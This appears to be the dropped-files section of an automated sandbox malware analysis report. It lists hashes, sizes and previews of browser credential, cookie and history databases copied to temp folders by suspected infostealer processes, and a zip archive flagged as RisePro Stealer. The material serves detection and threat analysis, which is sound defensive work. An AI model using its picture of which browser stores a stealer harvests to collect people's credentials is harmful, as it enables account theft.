SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\8WKYni7vc7xbWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\AJ0N6EDplfFwWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\DJvHBWhRDG4bWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\E8Idl7q7BQr3History

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7363857395593286
Encrypted:	false
SSDEEP:	192:Qg4i9gtH+bF+UI3iN0RSV0k3qLyj9Ho+A:9qtIkUI3iGRE3qLOo
MD5:	D10634E34CE24D7E45EEC3D4E6A53D23
SHA1:	4055556257F379571D93F669B1E20EE06D45E86A
SHA-256:	272B3B7D55B02541C0E683F09CF47349B26A80FB27B01D060D86DFEAF8DC86D5
SHA-512:	3B7FFB113272E0DC0D3E55F1E53A09E5613FA3DFE5D9BDA41CE0F5FECDCB3731742F0EC7B012E5CEFE7B7F1823754CA819802F75337C792DEFCECD2E3BD376F9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\GqGnAaGZuEf0Login Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\HeGmTnwee70CHistory

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7363857395593286
Encrypted:	false
SSDEEP:	192:Qg4i9gtH+bF+UI3iN0RSV0k3qLyj9Ho+A:9qtIkUI3iGRE3qLOo
MD5:	D10634E34CE24D7E45EEC3D4E6A53D23
SHA1:	4055556257F379571D93F669B1E20EE06D45E86A
SHA-256:	272B3B7D55B02541C0E683F09CF47349B26A80FB27B01D060D86DFEAF8DC86D5
SHA-512:	3B7FFB113272E0DC0D3E55F1E53A09E5613FA3DFE5D9BDA41CE0F5FECDCB3731742F0EC7B012E5CEFE7B7F1823754CA819802F75337C792DEFCECD2E3BD376F9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\WdcFI5q9u2RhHistory

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\ko3hkXjvgbJyWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\qHlUA7t2UnGlLogin Data For Account

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\rtwegp_kThPbCookies

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\t2bArKp9JT0dWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\v6TCONTMO1JkCookies

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\yFCGJeJiS2CNWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lGaQRZaI9ZBmSkbqM2Ghh6s.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.7461451822919445
Encrypted:	false
SSDEEP:	48:9c6a8L8DZIrdUuet8RH9iPsaLkjWaZMRzPq6ltjurAIMc6isdmulmRXn3KJ6cCku:x8DMHsPri6RzPhYjeo3R3KJA
MD5:	931CDC23ADC85716929244C28E9F3D9D
SHA1:	9CB99B749357F4AF1095102A69AAF2A35732C200
SHA-256:	253A43A2A0EF6A85FA92C7E72BF2FDBD83448D6A2A6B059E75F74FBBC245F2E6
SHA-512:	0D1F33AC8505E0F6D5EA2BD7C1D4338C11FBB43692707A7109B2C92B1E9B4E450AB47AA111BDB219DFB9F7E92D48AE4DCD2F60002D3ED178DCD6F8228D19C331
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\lGaQRZaI9ZBmSkbqM2Ghh6s.zip, Author: Joe Security
Reputation:	unknown
Preview:	PK...........X................Cookies\..PK...........X..E.............Cookies\Chrome_Default.txt....P.@.5.....d...`\|L2J1l.. .3."_..N.......q..b..=../c.;{.........4F8...0..Y.........Z}Y.g.<w3.f.W(....K.o..l...!.......y.o;.F..5%.....\|0MS.....J.,....../.o...8.H...,M.......;.....I!.z.W....j...e....fE.?.X....6...g...skL.K.85b.U.5...[/.<.h....C..\|...C5"{..i.$...'..W).f.O.i..4.....L..Z..t.Z(].2.m.?..<....]........f..I3?.q..8U.6...8.N.y_#Vb...g.k?.Z1.!.3$.....\.%...PK...........X..s.(...........information.txt.Y.o.H..G..h.^.....m..a...,7.$...=...k..l.dr..}.m...GT"$...._U...$.Gd..q....n.2..a....>......\....B..#...\.&a.I2s.yD..^.`.y:.H...2...%(cK.[.T.{_.j...BD..t.Y...3f.G...T...O.._.....Vf..P..V....+..(..Y.L\.9....G.w%x....<+..v;p \|.#.....lw............C.l..E^. ...%'..Y.w...,..IQ[q3.....\|.7T..wT6.w..............}...4-.Gd..,...9\|!..i...g-.....n_...'.BJ. P....../.owS`.m>,7.C..r..?..y.o,a.......G.....6.l0.......<,.....[.I.!gwYR..\|M.u.o.._.5.H.mR..O

C:\Users\user\AppData\Local\Temp\rage131MP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.873140679513133
Encrypted:	false
SSDEEP:	3:Lykd:ekd
MD5:	7E54891CC4DF22F619FB7A98994CC40B
SHA1:	5C479C774970B65721BE43AC0C0AF7A23E0B9F27
SHA-256:	5110721FF72679A9774ABD7742C4D2AD48EF56F5FA14BEB9351DC09E6B36E29A
SHA-512:	F60012E70FA18FD621A2070D19919539DE1A3C289B96250C05F490BC68F8ADD8A668683C8BD60939A0C0B8D80F449D7ABC6F832CD4801895988CA2EDC7DBC52B
Malicious:	false
Reputation:	unknown
Preview:	1713495923798

C:\Users\user\AppData\Local\Temp\tmp3811.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3831.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3852.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3881.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp39A4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp39EA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp39FA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3A0A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3F0F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
